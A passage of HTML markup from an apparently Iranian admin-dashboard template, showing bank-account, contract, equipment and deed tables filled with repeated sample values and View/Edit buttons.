<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Zahra Banihashem</td>
<td class="text-center">Ayande</td>
<td class="text-center">Saving Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Saba Nouri</td>
<td class="text-center">Sepah</td>
<td class="text-center">Checking Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white text-white"><i
class="si si-pencil"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">eqtesade Novin</td>
<td class="text-center">Saving Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Melli</td>
<td class="text-center">Checking Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Ghavamin</td>
<td class="text-center">Checking Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Top Contracts</h3>
</div>
<div class="card-body">
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 pt-0">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#ecb403">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-1"></i></div>
</div>
</td>
<td class="pt-2">Wedding Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-warning w-95"></div>
</div>
</td>
<td class="w-1 text-right"><span >19,500,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#f2574c">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-2"></i></div>
</div>
</td>
<td class="pt-5">Formality Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-red w-90"></div>
</div>
</td>
<td class="w-1 text-right"><span >15,000,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#45aaf2">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-3"></i></div>
</div>
</td>
<td class="pt-5">Wedding Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-info w-85"></div>
</div>
</td>
<td class="w-1 text-right"><span >8,500,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#DA70D6">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-4"></i></div>
</div>
</td>
<td class="pt-5">Birthday Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-pink w-80"></div>
</div>
</td>
<td class="w-1 text-right"><span >6,200,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#689f38 ">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-5"></i></div>
</div>
</td>
<td class="pt-5">Party Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-green-dark w-75"></div>
</div>
</td>
<td class="w-1 text-right"><span >5,500,000T</span></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="col-xl-8 col-lg-6 col-md-12">
<div class="card">
<div class="card-header">
<h4 class="card-title font-weight-bold">Efficiency Per Month</h4>
</div>
<div class="card-body">
<div id="highchart7"></div>
<button id="plain" class="btn btn-primary btn-sm">Plain</button>
<button id="inverted" class="btn btn-primary btn-sm">Inverted</button>
<button id="polar" class="btn btn-primary btn-sm">Polar</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-body p-5">
<div class="panel panel-primary">
<div class=" p-3 ">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li><a href="#tab11111" class="active font-weight-bold" data-toggle="tab">Equipments</a></li>
<li><a href="#tab22222" class="font-weight-bold" data-toggle="tab">Supply deed</a></li>
<li><a href="#tab33333" class="font-weight-bold" data-toggle="tab">Transfer deed</a></li>
<li><a href="#tab44444" class="font-weight-bold" data-toggle="tab">Purchase deed</a></li>
<li><a href="#tab55555" class="font-weight-bold" data-toggle="tab">Inventory</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0 ">
<div class="tab-content">
<div class="tab-pane active " id="tab11111">
<div class="table-responsive ">
<table id="example-9" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Category</th>
<th class="wd-10p border-bottom-0 text-center">Inventory</th>
<th class="wd-15p border-bottom-0 text-center">Size</th>
<th class="wd-20p border-bottom-0 text-center">Weight</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*7</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Camera</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*5</td>
<td class="text-center">2kg</td>
<td class="text-center"><span class="tag tag-success">Ready to use</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Turkey</td>
<td class="text-center">10*8*5</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-warning">In use</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Headphone</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">5*5*6</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-blue">Intact</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*2</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-cyan">Being Repaired</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*6</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*12</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*8</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Tablet</td>
<td class="text-center">Digital</td>
<td class="text-center">Enqelab Square</td>
<td class="text-center">6*8*4</td>
<td class="text-center">1kg</td>
<td class="text-center"><span class="tag tag-danger">Destroyed</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipment-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab22222">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Deed Serial</th>
<th class="wd-15p border-bottom-0 text-center">Supplier</th>
<th class="wd-20p border-bottom-0 text-center">Num of equipment</th>
<th class="wd-25p border-bottom-0 text-center">Request date</th>
<th class="wd-10p border-bottom-0 text-center">From time</th>
<th class="wd-15p border-bottom-0 text-center">To time</th>
<th class="wd-25p border-bottom-0 text-center">Related To</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td>1354v18</td>
<td class="text-center">Jahan Shop</td>
<td class="text-center">03</td>
<td class="text-center">12 February 2019</td>
<td class="text-center">10:26 AM</td>
<td class="text-center">06:26 PM</td>
<td class="text-center">Organization</td>
<td class="text-center"> Requested</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>243sx235</td>
<td class="text-center">Novin Shop</td>
<td class="text-center">23</td>
<td class="text-center">01 May 2021</td>
<td class="text-center">08:06 AM</td>
<td class="text-center">08:46 PM</td>
<td class="text-center">Deal</td>
<td class="text-center">Rejected</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>23adc4544</td>
<td class="text-center">Bartar Company</td>
<td class="text-center">13</td>
<td class="text-center">18 March 2020</td>
<td class="text-center">09:16 AM</td>
<td class="text-center">10:15 PM</td>
<td class="text-center">Project</td>
<td class="text-center">Send To Supplier</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>2134as235</td>
<td class="text-center">First Shop</td>
<td class="text-center">09</td>
<td class="text-center">28 April 2018</td>
<td class="text-center">02:01 PM</td>
<td class="text-center">11:00 PM</td>
<td class="text-center">Project</td>
<td class="text-center">Ready For Transfer</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>2134r23</td>
<td class="text-center">Sadid Company</td>
<td class="text-center">44</td>
<td class="text-center">09 May 2020</td>
<td class="text-center">04:46 PM</td>
<td class="text-center">00:00 AM</td>
<td class="text-center">Deal</td>
<td class="text-center"> Send To Supplier</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>1354v18</td>
<td class="text-center">Jahan Shop</td>
<td class="text-center">03</td>
<td class="text-center">12 February 2019</td>
<td class="text-center">10:26 AM</td>
<td class="text-center">06:26 PM</td>
<td class="text-center">Organization</td>
<td class="text-center"> Requested</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>243sx235</td>
<td class="text-center">Novin Shop</td>
<td class="text-center">23</td>
<td class="text-center">01 May 2021</td>
<td class="text-center">08:06 AM</td>
<td class="text-center">08:46 PM</td>
<td class="text-center">Deal</td>
<td class="text-center">Rejected</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>23adc4544</td>
<td class="text-center">Bartar Company</td>
<td class="text-center">13</td>
<td class="text-center">18 March 2020</td>
<td class="text-center">09:16 AM</td>
<td class="text-center">10:15 PM</td>
<td class="text-center">Project</td>
<td class="text-center">Send To Supplier</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>2134as235</td>
<td class="text-center">First Shop</td>
<td class="text-center">09</td>
<td class="text-center">28 April 2020</td>
<td class="text-center">02:01 PM</td>
<td class="text-center">11:30 PM</td>
<td class="text-center">Project</td>
<td class="text-center">Ready For Transfer</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>2134r23</td>
<td class="text-center">Sadid Company</td>
<td class="text-center">44</td>
<td class="text-center">09 May 2010</td>
<td class="text-center">04:30 PM</td>
<td class="text-center">00:30 AM</td>
<td class="text-center">Project</td>
<td class="text-center"> Send To Supplier</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmentsupplydeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
<div class="tab-pane " id="tab33333">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Deed Serial</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Num Of Equipment</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Create Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Requester</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">From</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">To</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Transfer Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Related To</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Status</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">1354v18</td>
<td class="text-center">2</td>
<td class="text-center">12 February 2019</td>
<td class="text-center"><NAME></td>
<td class="text-center">TQM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">15 Jun 2019</td>
<td class="text-center">Project</td>
<td class="text-center"><span class="status-icon bg-warning"></span> On The Way </td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">243sx235</td>
<td class="text-center">11</td>
<td class="text-center">26 March 2020</td>
<td class="text-center"><NAME></td>
<td class="text-center">CEM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">01 May 2021</td>
<td class="text-center">Organization</td>
<td class="text-center"><span class="status-icon bg-danger"></span> Rejected</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">23adc4544</td>
<td class="text-center">12</td>
<td class="text-center">03 June 2018</td>
<td class="text-center"><NAME></td>
<td class="text-center">TQM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">18 March 2020</td>
<td class="text-center">Project</td>
<td class="text-center"><span class="status-icon bg-success"></span> Delivered</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">2134as235</td>
<td class="text-center">5</td>
<td class="text-center">11 April 2019</td>
<td class="text-center">Saba Sabaghi</td>
<td class="text-center">Operational Team</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">28 April 2018</td>
<td class="text-center">Deal</td>
<td class="text-center"><span class="status-icon bg-pink"></span> Requested</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">2134r23</td>
<td class="text-center">2</td>
<td class="text-center">19 April 2017</td>
<td class="text-center">Nastaran Yavari</td>
<td class="text-center">Edit Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">09 May 2020</td>
<td class="text-center">Organization</td>
<td class="text-center"><span class="status-icon bg-info"></span> List accepted</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">1354v18</td>
<td class="text-center">2</td>
<td class="text-center">12 February 2019</td>
<td class="text-center"><NAME></td>
<td class="text-center">TQM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">15 Jun 2019</td>
<td class="text-center">Project</td>
<td class="text-center"><span class="status-icon bg-warning"></span> On The Way</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">243sx235</td>
<td class="text-center">11</td>
<td class="text-center">26 March 2020</td>
<td class="text-center"><NAME></td>
<td class="text-center">CEM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">01 May 2021</td>
<td class="text-center">Organization</td>
<td class="text-center"><span class="status-icon bg-danger"></span> Rejected</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">23adc4544</td>
<td class="text-center">12</td>
<td class="text-center">03 June 2018</td>
<td class="text-center">Mohsen Foruzan</td>
<td class="text-center">TQM Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">18 March 2020</td>
<td class="text-center">Project</td>
<td class="text-center"><span class="status-icon bg-success"></span> Delivered</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">2134as235</td>
<td class="text-center">5</td>
<td class="text-center">11 April 2019</td>
<td class="text-center">Saba Sabaghi</td>
<td class="text-center">Operational Team</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">28 April 2018</td>
<td class="text-center">Deal</td>
<td class="text-center"><span class="status-icon bg-pink"></span> Requested</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">2134r23</td>
<td class="text-center">2</td>
<td class="text-center">19 April 2017</td>
<td class="text-center">Nastaran Yavari</td>
<td class="text-center">Edit Unit</td>
<td class="text-center">Inventory Keeper</td>
<td class="text-center">09 May 2020</td>
<td class="text-center">Organization</td>
<td class="text-center"><span class="status-icon bg-info"></span> List accepted</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/equipmenttransferdeed-view-print"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab44444">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Num of Equipment</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Category</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">Requester</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Confirmation person</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Purchasing officer</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Purchase date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Invoices</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Branches</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Settled inventory</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Status</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">2</td>
<td class="text-center">Digital</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">Nikoo Gharib</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">6549</td>
<td class="text-center">Shariati</td>
<td class="text-center">Number 3</td>
<td class="text-center"> Delivered</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/equipmentpurchasedeed-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
